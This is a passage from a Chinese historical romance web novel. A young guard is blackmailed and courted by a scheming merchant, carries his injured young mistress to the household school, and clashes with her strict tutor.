来去无踪,也没个动静,跟鬼魂儿似得。 乔姝月面色微沉,差人去寻,自己则回到了店中。她没有再乱走,留在原地等他回来。 一街之隔,茶楼雅间。 谢昭凌与郑丰南对面而立。 每回相见,男人脸色都带着和善的笑意,今日也不例外。 但他说出的话却和友善毫不沾边。 “你当真过分得很呐。”郑丰南笑道,“来我的地盘,破坏我的计划,你说这笔账,我是该算到你身上,还是乔家人的身上呢?” 谢昭凌那日去过悦泉楼,他还和人打过照面,这事并不难查。他忽然又出现,郑丰南但凡不是傻的,都会有所怀疑。 他以帮工的名义进了酒楼,只是为了搬那几筐菜吗?郑丰南不信。 “我好不容易帮柳家摆平了那个麻烦,多完美的替罪羊,却被你给破坏了,害我被上头责骂训斥,你说我是不是该杀了你?” 谢昭凌目光极冷,面色不善地盯着他。 “你没什么要解释的吗?我可是很好奇,你是如何将乔二公子带出去,又是如何让柳助教出现在房间里的?” 对于同类,郑丰南向来坦荡且有耐性。 “从天而降吗?还是你买通了那两个守卫?”郑丰南道,“不管是什么办法,我都太惊喜了,你真的不考虑来我身边吗?” 真相于郑丰南而言已经不重要,事情既已发生,多思无益,人活在当下,该往前看。 无论少年用了什么手段,结果都是令郑丰南满盘皆输,他既痛恨自己输了,又很欣赏少年的胆识与智谋,更遗憾自己曾经放任手下人去欺凌他,后悔没先乔家一步将他解救出来。 若是当日将少年带回去的人是他,那他早就如虎添翼,不知比现在强上几何。 但后悔也无济于事,好在此刻再挽回并不算晚。 所以郑丰南在处理完琐事后,又深思熟虑好几日,才决定再来看看他。 见少年始终不理不睬,郑丰南非但不气馁,反而语出惊人:“来了我身边,我可以为你铺一条通往朝堂的路。” 郑丰南双目发亮,期待地看着少年。 果然,少年有了反应。 就说嘛,哪有人会对富贵荣华无动于衷的?只是没想到,少年野心不小,竟瞄着那条由金子堆砌而成的路途。 “你身在朝堂?” 郑丰南摇头。 谢昭凌冷嗤道:“大言不惭。” “我虽不在朝堂,但背后的靠山却在。”男人神秘笑道,“你总该听过,悦泉楼背后东家的传闻吧?乔家人没告诉你吗?” 谢昭凌皱眉,冷言道:“乔家为何要告诉我,我只是一奴仆。” “是吗?可是我怎么听说,乔家那位大小姐待你极好?” 郑丰南靠近两步,那抹温和的笑容明明极为亲切,可此刻却衬得他面目更加阴险可憎。 “我原先没把那小丫头放在眼里,现在确实不得不重视了,她本事不小,能让你在乔家待这么久。” 谢昭凌心中陡然迸发出强烈的杀意。 他面上不显,目光淡淡,同他周旋,“撒撒娇就能得到想要的东西,郑公子这般出身,幼时没体会过吗?” 郑丰南愣了下,“你……这是在嫉妒她?” 话里话外,好像是那小姑娘求了父母,才将他留下的。 多好啊,有家人宠爱,想要什么只要张张嘴、撒撒娇就能拥有。 不像他,从出生起便低人一等,卑微如蝼蚁,随便一人挥挥手,轻易就能将他打入深渊。 “我没有。” 郑丰南笑出声来,“哦,你在嫉妒她啊。所以你才帮乔家做事,你那么努力立功,得到主子的认可,是想长久地留在乔家?之后呢?你想做什么?” 谢昭凌偏过头去,语气很轻:“与你何干。” 这副轻慢又不屑的神态,郑丰南太熟悉了! 他顿时激动起来! 少年不解地看了他一眼,抬步就要往外走。 “等等!”郑丰南忙迎上去,将他拦住,好声好气道,“再聊聊。” 谢昭凌手按在腰间的匕首上,不耐烦道:“你还想说什么。” 郑丰南顺着看过去,“看来你还未得到乔家人的信任,连剑都不给你配。” 那个李成都有,他看得一清二楚的。 “你留在乔家也可以,但你要帮我做一件事。” “我为何要帮你。” “你想留在乔家,就要死死守住你的那些秘密,”郑丰南提醒他,“乔家可容不下罪人。” 少年厌恶地皱眉,眼神晦暗,“所以?” 郑丰南笃定道:“我帮过你一次,你也该报答我一回。你去悦泉楼做工,为的是赚银子,我猜你是想还那小姑娘钱吧。她的恩你记着,我的你也不能忘。” “你何时帮——” 郑丰南目光沉沉,手按在少年肩膀上,暗示意味十足:“刀疤男的死是我替你压下的,不然你以为你能躲过官府吗?还有要将你溺死的那几人,你后来有再见过他们吗?” “三爷以为是那两名守卫坏了事,若无我替你瞒下,将那二人伪装成畏罪自杀,你以为你还能好好待在乔家享福?” 在那只手按上来时,谢昭凌便下意识反抗。 郑丰南是商人,不同于曾按着他的那个壮汉,他身上没有力气,谢昭凌一下便挣脱出来。 “你心里将一笔一笔都算得很清楚,而且你很吃我这一套,不是吗?我是在威胁你,但我的威胁你反而很放心。” 郑丰南看人很准,他之所以能成功,与他极佳的眼力分不开。 “我们互惠互利,互相成就,不好吗?”郑丰南不喜欢打感情牌,他坦坦荡荡,直言利用,陈明利弊,“我找上你,是看中你的能力,你能助我行事更顺利,同时你也能收获你想要的地位、权势、金银,你想要什么便能有什么。” 谢昭凌好笑道:“想要什么便能有什么?” “当然。” “哪怕我要皇位?” 郑丰南猛地看向他,目光错愕震惊,他怔愣半晌,结巴道:“你,你你你还真敢想。” 荒唐,太荒唐了,他怎么不说想上天做玉皇大帝呢。 谢昭凌也觉得荒唐,他低声笑道:“不可吗?” 郑丰南在少年眼里清晰地看出了认真,忽而放声大笑,笑到胸腹抽痛,才艰难忍住笑意,抹了把脸,“行啊,你敢想,就去做。” 郑丰南望着少年,不知该说他是意气风发,壮志凌云,还是说他鬼迷心窍,被猪油蒙了心智。 他感慨了声:“你要真有那个野心,我不会阻你,三爷想必也会对你非常感兴趣。” “三爷到底是谁?” 郑丰南却不再多说。 谢昭凌转身向外,忽又听郑丰南说道: “听他们叫你谢护卫,是你那个小主子给你起了新名字吗?你现在叫什么?” 谢昭凌睨他一眼,不答,只道:“莫要插手我在乔府的事。” 洞悉他内心欲望的郑丰南愣了下,恍然,“原来你喜欢她那样的。” 他抚掌浅笑,“倒也不是不行。” 就像二皇子那样。 少年缓步靠近,伸手揪住郑丰南的衣领,像被人冒犯了领地的野兽,锐利的爪钳住来犯者的脖子,鹰隼般的深眸带着森森冷意,警告:“别打她的主意。” “当然,只要你愿意为我做事。” ** 谢昭凌回到首饰铺时,另外两位千金已经离开。 “姑娘,咱们先回吧,瞧瞧你这都肿了。” “已经让人去寻谢护卫了,咱们先去医馆可好?” “不,我就要在这等他。” 小姑娘抱着膝,沮丧地吸了吸鼻子,被念叨得烦了,她干脆堵住耳朵,不听不听。 她捂着双耳,自然不知道在那一瞬间,周遭劝慰的声音也骤然消失。 面前让出一条路,有人快步走到她跟前。 身前立着个瘦而长的影子,乔姝月后知后觉,茫然抬头。 少年大抵是跑回来的,额角还沾着汗,他轻声喘息,手撑住膝盖,弯下腰,双目清泠,关切地看着坐在门槛上的她。 一瞬间,委屈化为实质。 娇纵任性的小姑娘立马化身黏人小泪包。 她呜咽两声,用力揪住少年的衣摆,仰着头哭诉:“我,我以为你走了,不回来了。” 她早知道,他有一天或许会离开,只是没想到这一天会这么快到来。 “我又能去哪呢?” 谢昭凌抬手,握住了她的手腕。拉着她的手,用力握了一下,才拽着她,放开自己的衣角。 玉竹见他回来,愤愤瞪他一眼,不满道:“你去哪了?你可知姑娘多着急?!” “先别埋怨了,”刘妈妈叹道,“姑娘,这下人终于回来了,咱们去看看脚伤吧?” 谢昭凌面色一紧,忙蹲下查看,他紧张道:“伤哪儿了?” 腿伤的滋味他知道,那苦楚不想她也承受。 乔姝月见他这般关心自己,心里又甜丝丝的,赧然道:“就是扭了一下,不碍事。” 玉竹瞪眼,“怎么不碍事,都肿了!” “就是一时着急,没看清脚下,扭了一下,定是近来身子都躺懒了躺笨了,你们回去不许胡说,不然阿娘又要关我。” 小姑娘两只脚都藏在裙子下面,谢昭凌不便查看,他沉默片刻,背过身去,“走吧。” 众人皆是一愣。 乔姝月眼睛一亮,“你这是要背我吗?” 谢昭凌定定望着她,“我可以吗?” 还记得当初把她从河水里救出来,爬到岸上时,只来得及见别人背她离开的背影。 如今他的腿伤痊愈。 他不想把这个机会再交给旁人。 少年目光坚定,乔姝月眼圈一红,“你的腿……” 谢昭凌笑了笑,“姑娘并不重。” 乔姝月闻言二话不说,向前倒到他后背上。 众人都看着,她收敛表情,藏起偷笑,一本正经道:“那辛苦你了,谢护卫。” 谢昭凌稳稳托住她的双腿,背着她,慢慢站起身。 少年的后背不算宽阔厚实,却足够温暖安全。 乔姝月手臂勾住他的脖子,红着脸,附在他耳侧,用只他二人能听到的音量悄声说: “辛苦了,阿凌哥哥。” 第39章 【39】 从医馆回来后,乔姝月脚肿得像个猪蹄。 乔誉来看望她时,她正捧着脸,笑得合不拢嘴。 乔誉一眼就看出来是因为谁,他冷眼瞥向门侧值守的少年,见对方目不斜视,心底冷哼了声。 嘁,假正经。 “四哥,来送功课吗?”小姑娘眼睛弯成月牙形状,拍拍身侧的凳子,“来嘛,快坐!” 乔誉:? 已经许久未见小妹这般殷勤的模样,上回还是求着他去医馆接谢昭凌回家。 所以果然还是跟那臭小子有关系!! 乔誉把怀里的书本放下,没好气道:“往日不见你这般欢迎我。” 乔姝月眯着眼睛,笑得像只刚偷腥的猫儿,“今儿夫子都教什么啦?” “《诗经》。” 乔姝月唔了一声,好奇:“四哥早都背会了吧?” “嗯,当做温习。” “那四哥你做过注解的书是不是用不到啦?”小姑娘图穷匕见,讨好地拉着哥哥的袖子,“你送来的那些书里,没有那本诶,是不是被你不小心漏掉啦?” 乔誉:“……” 看来是怕某人学业跟不上,所以来他这要范本。 乔誉脸色发黑,暗暗咬牙,“知道了,等会差人给你送来。” 私下开小灶又如何,人的天赋早就从落生那一刻起便定下了,天资寻常之辈,岂能靠勤奋来弥补?再刻苦,也不如天之骄子随便学学。 那个小子出身乡野,进乔家前连字都不识,还妄想看他的诗经? 他学得懂吗他就学? 乔誉冷笑着,茶送到嘴边。 “……” 乔姝月的脚没法走路,便唤了门口那人到近前来。她拿起兄长送来的功课冲他招手,少年规规矩矩地在她身旁站定。 “阿凌哥哥,昨儿让你学的可会背了?” “嗯。” “那你再看看这个,有哪些字不会,哪些句子不懂,尽可问我。” “好。” “虽然我也不见得会,但我们一起钻研,定能有所领悟。” “是,都听姑娘的。” “…………” 乔誉若无其事放下茶,再坐不住,匆匆起身,回房读书去了。 ** 大约是白日见过郑丰南的缘故,入了夜后,谢昭凌久久难眠。 李成的呼噜震天响,谢昭凌从床里侧的褥子下翻出一张纸。 这是他从悦泉楼带出来的那张画像。 三个月过去,他依旧没有丝毫线索。 在他初入悦泉楼后,他便捡到了这张画纸。那时郑丰南应当还没认识他,就算是见过他,也不必大费周章,多此一举。 这画像必定是出自除郑丰南一派以外的人。 西京城中危机四伏,或许藏着什么旧识,会是南边找来的吗? 原本在还清欠款以后,他可以毫无负担地离开。 可现在他竟愈发舍不得了。 她说以后会明白她的“喜欢”,那他到底哪儿值得被她看在眼里呢?他哪里值得人喜欢? 总不会是和郑丰南一样,看上他的能力。 按照小菩萨自己的说辞,是因为他好看。只是一张还算能看得过去的皮囊,至于让她为他花这么多心思吗?世间从不乏好看的人,也不见她每个都带在身边。 凭何是他? 独独是他。 谢昭凌并非自卑自贬之辈,他只是下意识会去疑心旁人靠近自己的目的。 褚氏留自己在府上,是看中他能护卫她的女儿,认为他有利用的价值,这很符合谢昭凌对这个世界的认知。 郑丰南说他能助他一臂之力,他深信不疑。 唯有小菩萨,他从来没看透过。 谢昭凌看向画像上的自己。 不知不觉间,自己竟与画中人越来越相像了。 小菩萨说她能梦到未来,若他不在她身边,她能否守好自己的秘密,不招致歹人的觊觎? 若有朝一日他要离开,她能否平安地度过一世呢? 谢昭凌坐起身,抬眸便看到悬挂在床尾的荷包。 他迟疑片刻,倾身过去,将挂绳解了下来。犹豫半晌,将荷包放在了床头内侧,枕边的位置,他一睁眼就能看到。 一夜无梦。 荷包自此再也没挂回去。 八月十三,是乔姝月重返学堂的日子。 也是谢昭凌正式开始念书的日子。 因夫子规定辰时入学堂,所以天蒙蒙亮时,乔姝月便起了。 不同于往常磨磨蹭蹭,今日她可是精神抖擞,充满期盼。 谢昭凌比她起得还早,在她迷迷糊糊在榻上困得打晃时,就听到玉竹在旁边抱怨,说谢护卫精力充沛,卯时未到就爬起来练剑。 乔姝月打了个激灵,勉强睁开一只眼问:“哪来的剑?” 玉竹道:“自然是找李护卫借的,他又没有。” 乔姝月拢着被子,靠在床头,打了个哈欠。 “哦对了姑娘,您说要给咱院里每人做一身新衣当节礼,其他人倒好说,月前才给大家量过身,尺寸都是现成的,衣裳很快便能做好,只唯独谢护卫他……” 他不给碰啊。 乔姝月揉揉眼睛,“他不送衣裳,我有别的安排。” 玉竹心里一阵吃味,撇撇嘴,“哦”了声,暗自腹诽,又是特殊待遇。 不过心里叨叨是一回事,玉竹还是很佩服谢护卫的,保护主子这些日子,他未有一时松懈,好似不知疲倦,恪尽职守,勤恳得让人钦佩,也算对得起主子的厚待。 “姑娘,绸缎铺将账送来了,问咱们什么时候结银子?” 乔姝月沉吟片刻,“明日吧。” 玉竹迟疑,“姑娘你又有钱了?” “现在还没有。”乔姝月坐在榻沿,由紫棉伺候着穿衣,笑了声,“等我从学堂回来就有了。” 玉竹:? 去学堂不是念书吗? 还会发银子不成? 等主子用过早膳,玉竹去叫人,看到谢昭凌已经在院中恭候多时。 他一如往常,抱着肩膀,背对着房门,如一棵笔直的松柏,静静屹立,坚韧顽强。 听到传唤,少年神色沉静踏入房中,一言不发,背过身去,将人小心翼翼地背了起来。 学堂就设在府中,不必出门。 沿着游廊慢慢走,一路上遇到不少仆从。 “姑娘。” “月姑娘安。” 早上是最忙碌的时候,在沿途遇到第三波同她问安的婢女时,乔姝月终于受不住。 她红着脸,把脑袋埋到少年的背上。 谢昭凌脚步顿了下,稍回过头,“姑娘?” “别说话,快走。” 面皮薄,害羞。 谢昭凌“嗯”了声,继续前行。 等拐出游廊,走上乔府东侧的夹道,她才肯把头抬起来。 耳朵热烘烘的,一双杏眸羞得泛起水润的波光。 “许久未曾这般‘招摇过市’,还真不适应。” 谢昭凌微勾了下唇,很快又压下去,“他们还敢笑话主子不成。” “那说不准,人心难测嘛,他们当着我的面自不敢提,可心里……” “心里如何?” 乔姝月嘿嘿笑了两声,圈紧他的脖子,凑到他耳边悄声道:“心里都在笑我——多大啦,还要人背。” 谢昭凌倏地哑声,感受着耳根吹上来的气息,自衣领内泛起一阵滚烫的热意。 他不自在地把她往上背了背,颠得她一瞬间远离了些。 谢昭凌松了口气,“姑娘受了伤,情有可原。” “就是,管旁人作甚?”玉竹晃到二人跟前,蹦蹦跳跳,满不在乎道,“旁人若知晓姑娘受了伤还要上学堂,定要夸上一句勤恳好学呢。” 乔姝月捂着胸口,“你从哪儿蹦出来的?吓我一跳。” 玉竹慢慢瞪大眼睛,提了下手里的书篮,“我一直跟着姑娘啊。” 谢护卫背着主子,就只好由她来帮他们拿书了。 乔姝月抚着心口,嗔她一眼,“那你一直不出声?故意吓唬我是不是?” “我出声了啊!我还回了姑娘你两句话呢,是姑娘没搭理我!” 乔姝月疑惑地:“嗯?” “有吗?”她扯了下谢昭凌的衣裳,望着他的侧颜,“她说话了?” 谢昭凌微红了脸,摇头,“不知,没听到。” 他一心只注意背上金贵的小菩萨,未曾将眼神分给旁人。 她也没注意到旁人在吗? 谢昭凌蓦地止住念头。 玉竹看着那对主仆走远,气得直跺脚。 身后忽然传来一男子的声音,“玉竹,早啊!” 玉竹回头一看,是二公子乔良和他的小厮。 小厮笑着冲她招手,又道:“月姑娘今日也来吗?” 玉竹不想搭理,冲二公子福身,二话不说,扭头走了。 乔良好久不见妹妹,本该十分想念,可不知怎么,他忽然有个不好的预感。 还未等乔良心惊胆战地踏进学堂,便被人拦在门口。 “谢护卫?”乔良扯出一个局促的笑,挠了挠头,“有事?” 谢昭凌微微颔首,手往旁伸,做了个“请”的姿势。 “不进去吗?”乔良一头雾水,他们就在学堂门口,“是月儿找我?” “姑娘在那边。” 谢昭凌不再多言,径自先走了。 乔良指挥小厮进去放书,自己赶忙跟了上去。 “咳,那个,谢护卫……” “嗯。” 乔良两步赶上,扭扭捏捏,脸涨得通红,半晌才憋出来一句:“还未同你道谢。” 谢昭凌眉目沉静,没什么反应,只淡淡道:“职责所在,二公子不必道谢。” 他是为了小菩萨,与旁人无关。 “不不不,我都听月儿说了,是你费了番功夫才把我带出来的。”乔良愧疚地低下头,看着少年的腿,“你的伤养好了?” “嗯。” “那就好,那就好……”乔良松了口气,站定,冲着少年的背影稍作一揖,郑重道,“谢护卫,算我欠你一次。” 谢昭凌停下脚步,回头看他。 乔良笑了下,拍着胸脯道:“往后若有难处,尽可向我开口,我保证——” 少年挑眉,冷淡道:“二公子先管好自己吧,少给姑娘招惹麻烦才是。” 乔良:“……” 谢昭凌引着人来到隔壁的祠堂,乔良一看到门匾上的字腿就软了,他扒着门框,哆哆嗦嗦,不肯迈进来,“谢护卫,是月儿在等我,还是别的什么人?” 他近来门都不出,更无犯错,不至于又关进祠堂罚跪吧? 谢昭凌有些不耐烦他问来问去,走到门口,一把拎起乔良的领子,把人拽了进来,拉到院子里,用力往里推了一把,而后他十分守规矩地退到门口。 乔良踉跄好几步才站稳,一抬头就看到小妹坐在石凳上,笑眯眯地冲自己招手。 乔良如释重负,抹了把冷汗,“是你啊,吓着我了。” 小姑娘手托着腮,好整以暇欣赏二哥的窘态,理所当然道:“除了我,还有谁能使唤得动阿凌哥哥吗?” 阿凌哥哥阿凌哥哥,乔良听得耳朵生了茧,他在对面落座,好奇:“找我有事?不能等散学后再说?” “万一夫子又要留二哥训话,我难道还等你不成?” “你怎知我……”乔良气闷,神色愤愤,“定是老四同你嚼的舌根。” “二哥,你先前闭门不见,说要好好反省,如今可悔悟出什么来?” 乔良闻言,正襟危坐,理了理衣领,清了下嗓子,人模人样道:“二哥我想得很是通透,如今的我,已然不是昨日的我。夫子言——” 眼瞅着他要发表长篇大论,乔姝月立马喊停。 “我不是说这个,我是说谢护卫。”乔姝月暗示道,“那可是救命之恩,你对谢护卫就没什么交代吗?” 乔良脑子僵住,“……还要交代?” 他谢过了,也行了礼,还不行吗? “自然是谢礼啊。”小姑娘嫌弃地睨他一眼,“怎么,人家救你白救啊?” “虽然阿凌哥哥不是冲二哥你的谢礼去的,但为人处世,总得有个你来我往才是。原以为二哥你知晓世事,圆滑周到,不曾想你竟不及我思虑周全。” 乔良被她一番话震住,瞠目结舌,“你、你是从哪学会的这些?” 乔姝月随口糊弄,“我天生早慧,不成吗?是二哥老大不小了,还不懂事。” 乔良:“……” 我吗?? 他低头,反省自己。 人情这事,可大可小。 要是较真起来,他这事绝不算小。 毕竟那可是人命官司,虽说同他无甚关联,但他若是被大理寺的人围困在悦泉楼,被抓个正着,再去衙门走一遭…… 乔良害怕地直打颤,那就不是跪几天祠堂便可了事的。 以父亲的脾气,知晓他一再知错犯错,非得将他腿打断不可。 “哎呀别想了,等会夫子就来了,”乔姝月冲他勾勾手指,又做个捻手指的动作,掌心朝上,压低声音,“二哥你想想谢护卫缺什么?” 乔良看着妹妹的动作,灵光一现,“……银子?” 乔姝月赞赏道:“正是!” “这……给他银子就可以了吗?”乔良回过头,朝门外的人看去,他犹豫道,“是否太过敷衍?显得不真诚啊?” “怎会呢!二哥你不知,给他银子,那简直是雪中送炭,枯木逢春啊!” 乔良目光呆滞:“……枯木逢春是这么用吗?” “二哥!你就说,给不给吧!” “给给给。”乔良摸了摸身上,又忽然停住,“给多少啊?” 乔姝月歪着头,“那就要看二哥认为自己的命值几个钱了。” 乔良摸出一个钱袋,捏了捏里头的银子,小声嘟囔:“这才十两,也不够啊。” 他的命不得值个百八十两的? 不对,谢护卫是花五十两买回来的,那他……少说值二百两。 能这么算吗?会不会太贵了? “是不够,你得给两份,他一份,我一份。” 乔良攥紧钱袋,“怎么还有你的事?” 乔姝月振振有词:“是我叫他去寻你的,虽说救人的是他,但出主意的是我。若无我的命令,他也不会往那地方去,你说该不该有我的份?” 乔良被她说得脑袋发蒙,听上去有几分道理。 “那日如若你听我的话不出门,这些麻烦事就都没有了,可对?” “……对。” “你出门后,我去找大嫂求救,她派人去寻你,那些人拖住了酒楼护卫,阿凌哥哥得以顺利脱身,你才能安全回府。”小姑娘掰着手指头,说得头头是道,“你说,我若是不去找大嫂,你还能回得来吗?” 乔良被说得抬不起头,惭愧道:“嗯嗯,多亏有你。” “所以这数目定在多少,你可得好好掂量着,毕竟是双倍呢。” 俩人正合计着,谢昭凌立于门槛后,朝他们望了过来。 乔姝月余光一直注意着少年的动静,见他看来,立马就明白他的意思。 看来是夫子到了,那她也得赶紧回去。 乔姝月一把夺走乔良的钱袋,揣进自己的怀里,匆匆道:“先谢一部分,剩下的回头再谢。” 十两勉勉强强够给下人做衣服了。 她一边冲谢昭凌招手,让他过来背自己。 一边微微闭起唇齿,不让谢昭凌读出唇语,只靠喉舌发声,小声敲诈:“二哥你回头备好银子给我就成,我替你转交,省得他拒绝。” 乔良:“……?” 他忽然想来想谢护卫那个冷漠不近人情的性子,又想到方才他道谢,人家让他管好自己。 嗯,是有可能再被拒绝,甚至恶语相向。 “好吧。”乔良怀里空落落的,恋恋不舍,“你让他省着点花。” “他肯定不花,你放心吧。” 乔姝月飞速说完,少年便到了近前,熟练地在她身前蹲下。 乔姝月抿唇笑着,趴到他背上。 “阿凌哥哥。” “嗯,我在,怎么?” “等会你就坐我对面,看着你,读书都更有劲儿了。” “……好,都依你。” 乔良:“……” 他捏了下鼻子,总觉得空气里有什么东西撒了,甜得呛人。 为什么妹妹叫他,他都愿意说这么长一句话。 自己叫他,他就只冷冷淡淡的一个“嗯”? 早知道先前不得罪他了。 乔良悔不当初。 叹了口气,站起身,也跟着往外。 怀里没了硌着胸口的东西,感觉脚底下都轻飘飘的。 乔良迈进学堂的门槛,后知后觉。 他好像是遇到强盗了。 第40章 【40】 谢昭凌背着乔姝月,才刚踏出祠堂,迎面便遇到了一个身穿青色长袍的男子。 那人站在学堂门口,遥遥望过来。 乔姝月彼时正趴在谢昭凌的肩膀上同他说笑: “还未同你介绍夫子,姓许,原是我阿娘那边的远房亲戚,按照辈分我要唤他一声表叔的,他满腹经纶,十五岁时便中了举人,后来进京赶考,也考中成了进士,听说做过两年官,但不知为何又辞官不做,回到老家教书育人了。” “在老家做了几年的教书先生,去岁又从老家回到西京,投奔乔府,阿娘那时正发愁二哥的学业,一见表叔便知其才学渊博,便收留了他,教我们读书。” 那青衫男子就立在三丈以外,面色不善地盯着他二人。 谢昭凌停下脚步,亦冷淡回视。 男子约莫三十上下,身形消瘦,面色发白,细眼狭长,眉峰锐利,那双眼睛虽细小,却极为黑亮有神,看面相便是古板严肃之人。 此刻,男子面带薄怒,直盯着他背上的人瞧。 肩膀上的小姑娘无知无觉,脸颊压在少年肩头,面冲着他,仍在小声议论着关于夫子的事。 她从不将谢昭凌当外人,心里有什么话都爱同他说。前世他们每晚睡时,也爱并排躺在一处,一起嘀咕那些迂腐的老臣。 “你说官做得好好的,怎的忽然就不做了?难道是仕途不顺,心灰意冷,所以干脆回到家乡,做个教书先生?” “许是脾气秉性难与人相处,是遭同僚排挤了吧。” “师者,所以传道受业解惑也。”青衫男子忽然幽幽开口,“这般好奇,那我来与你说说究竟是为何?”① 乔姝月顿时僵住,想起被夫子训斥的过往,趴在少年的肩头,不敢抬头。 不远处传来徐缓的脚步声。 许惊朔停在二人跟前,深吸了口气。 安静片刻,暴怒出声: “嬉笑怒骂,成何体统!” “男女授受不亲,还不速速下来!” 乔姝月被吼得浑身一颤,哭丧着脸,就要从少年的背上滑下去。 却被人牢牢箍着腿弯,不肯撒手。 乔姝月一愣,偏过头看去。 察觉到背上人在发抖,谢昭凌偏过头,亦看了她一眼。 视线交汇的瞬间,呼吸有片刻交缠,似有一条无形的钩锁,将二人紧密相连。 谢昭凌先收回了目光。 他无惧地与夫子对视,冷静地道:“她的脚伤了,无法走路,我背她进去。” 说完也不管横眉竖眼的夫子,迈过门槛便往学堂里走。 许惊朔气得眼前发黑,“出言不逊,目无尊长!!” 他闭着眼睛,用力按了下突突狂跳的太阳穴,再一睁眼就看到乔二公子缩着脖子,蹑手蹑脚,正鬼鬼祟祟地打他面前而过,嘴里还念念有词。 四目相对。 许惊朔:“……?” 乔二:被看到了!! 许惊朔抄起手中的一卷书,朝乔良头上砸去,“磨蹭什么?!等我也背你进去吗?!” 乔良捂着脑袋,委屈巴巴地跑进门。 入得学堂,谢昭凌顿下脚步。 堂中的坐席分左右两排,每排三个位置。 他左手中间位置坐着乔誉,右手中间位坐着一个不认识的小姑娘。 “在哪里?” 谢昭凌转过头,低声问向背上的人。 乔姝月指了指右边第一排。 谢昭凌背着她走过去,在座位旁边缓缓蹲下,“慢些。” 乔姝月扶着他手臂站稳,怯生生地望了一眼门口。 见到夫子走进院中,她紧张地抓了下少年的衣袖。 她眼神担忧,压低声道:“他骂你就听着,切莫顶撞。” 否则只会迎来更重的责罚。 乔母一直教导儿女要尊师重道,所以对许夫子的教育手段持默认支持的态度,只要不罚得太过分、太严厉,乔家父母都不会偏袒自己的儿女。 在这间学堂里,打也打得,骂也骂得,即便是乔家主母,也不能过多插手。 许夫子对学生很严厉,功课上不允许有丝毫懈怠,在德行上,他也十分严苛。 像今日被谢昭凌当面顶撞之事,在他的教学生涯中,算是古往今来头一回。 乔姝月实在不忍见谢昭凌受罚,央求着拉他的衣角。 谢昭凌没吭声,给她的座位上垫好软和的坐垫,扶着她的手臂,让她慢慢坐下。 即便是玉竹这种贴身侍候的婢女,也是不被允许在学堂上听课的,放下主子用的笔墨书册一应用具,便退至院中等候。 所以平日里玉竹做的那些事,今日都落在了谢昭凌的身上。 但他到底不便碰触她的身体,所以也只是替她铺好座位,便收回了手,退到一边。 乔良一溜烟地跑进屋,直直就往学堂最后一排而去。 乔誉忽然伸手,拉住了乔良的手,“二哥,你的位置在前面。” 乔良瞪他一眼,咬牙:“你成心要看我出丑?!” 他才挨了夫子一下,实在不想在夫子眼皮子底下再煎熬一个上午。 乔誉笑了笑,“长幼有序,二哥坐在前面,不是理所应当吗?” “咳咳!” 许夫子用力咳嗽了声。 乔良头皮发麻,用力抽回手,灰溜溜地往第一排而去。 他往前,谢昭凌往最后排走,两人擦肩而过。 乔良看了一眼满眼不舍的小妹,幽幽叹了口气。 想和谢昭凌换位置的,又何止小妹一人。 乔良刚坐下,便听夫子敲了敲他的桌子。 乔良茫然抬头。 许惊朔皮笑肉不笑地看着他,“因何叹气?可是不愿坐在此处?” 乔良头摇得像只拨浪鼓,冷汗直流,“不不不,愿意,我愿意!” 许惊朔抬眸,与立于最后一排的那个少年对视,冷笑:“不愿意也不打紧,正巧今儿来了新人,作为最为年长的一位,二公子,你可愿将这个位置让与新同窗?” 乔良愣了下,“啊”了声,险些高兴地蹦起来。 但强烈的求生欲让他狠狠压制住欢呼雀跃的本能,他矜持地点了下头,抿唇笑着,“君子有成人之美,学生自然愿意将机会让给弟弟妹妹们。” 他说完,抱起桌上的书,迫不及待地跑到后面。 他灵活地从谢昭凌的身前挤过去,还把人往前推了推,冲他眨眼,“距离夫子最近的好位置,最适合读书,快去吧。” 谢昭凌:“……” 他下意识往左边去寻她的目光,见她惊喜中掺杂了丝丝忧虑,无奈地抿了下唇。 这下当真如她所愿,只要一转头,就能看到他了。 “怎么,还要为师亲自去背你吗?” 许夫子薄凉的嗓音幽幽传来。 学堂之中气氛骤然冷到极点。 再剑拔弩张的场面谢昭凌都见过,他面不改色,从容不迫,走到夫子面前。 恭敬地揖手,行了个弟子礼,而后坐到他的新座位上。 许惊朔从鼻子里挤出来一个哼,甩了下衣袖,站回到讲师的位置上。 乔家主母同他说过这位少年的情况,说这位是乔姝月的救命恩人,特地准许他也跟着一起读书。 教一个也是教,教一群也是教,许惊朔本没在意,可褚氏又说,此子天赋极佳,是个不可多得的好苗子,这倒叫许惊朔感了兴趣。 要说乔家他教过的这几名学子中,四公子已然算聪颖绝伦之辈,褚氏也没用“天赋极佳”来评价过。 今日来授讲之前,许惊朔对这场师生之间的初次会面可谓是翘首以盼。 他早早就听说了这个新学生,只想着盼着能见面。好不容易等到少年养好了伤,终于能见到了。 结果,结果!! 叫他看到那耳鬓厮磨、不堪入目的一幕! 哎!! 许惊朔痛心疾首,想要讲课的心思都淡了。 他看向乔姝月,斥责道:“你们启蒙时读的书竟浑然忘却了?弟子规言——见未真,勿轻言,知未的,勿轻传。”② “静坐常思己过,闲谈莫论人非。”③ “背后议论师长,不以为耻,反而沾沾自喜。未知事实真相,便胡乱揣测,添油加醋,再说与他人听,这就是你为人的道理吗?” 他话音落,学堂内一片寂静。 这话说得太重,小姑娘眼圈顿时红了几分。 众人不知发生何事,皆沉默不语,唯有谢昭凌一人暗自捏紧了拳头。 半晌,乔姝月扶着桌子,摇摇晃晃站起身来,她低下头,乖乖认错:“夫子,我知错了,我不该背后言人是非,以后不会再犯。” 小姑娘低低软软的认错声响彻耳边,谢昭凌按在桌边的手骤然收紧,犹豫着,不知该不该起身去扶。 许惊朔满意地点头,脸色的怒气散了些许,他摆摆手,声音温和不少,“知错能改,善莫大焉。你脚还伤着,坐下吧。” 乔姝月闷不做声地坐下,头垂得低低的,不敢再乱看。 许夫子收回目光,余光却瞥到离他最近的少年在担忧张望。 那眼中的关切几乎毫不遮掩,身子侧向一边,似乎随时准备奔到乔姝月的身边。 许夫子才刚熄灭的火气又燃了起来。 瞧瞧,瞧瞧!这便是褚氏口中的好苗子?! 那双眼睛只黏在他主子的身上,竟是分毫不往书本上看!他心思到底在不在读书上?! 许夫子意味深长道:“进了这个门,便没有主仆尊卑之分,于研究学问一道上,你我皆平等。” 所以该把眼睛挪开了!不要老惦记着伺候主子!给我把眼神落在书上! 少年听出夫子的未尽之语,目光淡淡落在他身上。 极为平淡的一眼,无悲无喜,什么情绪都没有,淡得仿佛一阵风就能吹散。 他真的看自己了吗?许惊朔满腔怒火蹭蹭往外冒。 看样子是不把他这个老师放在眼里,一点尊重都没有,看他好似看一尊石雕,一个死物! 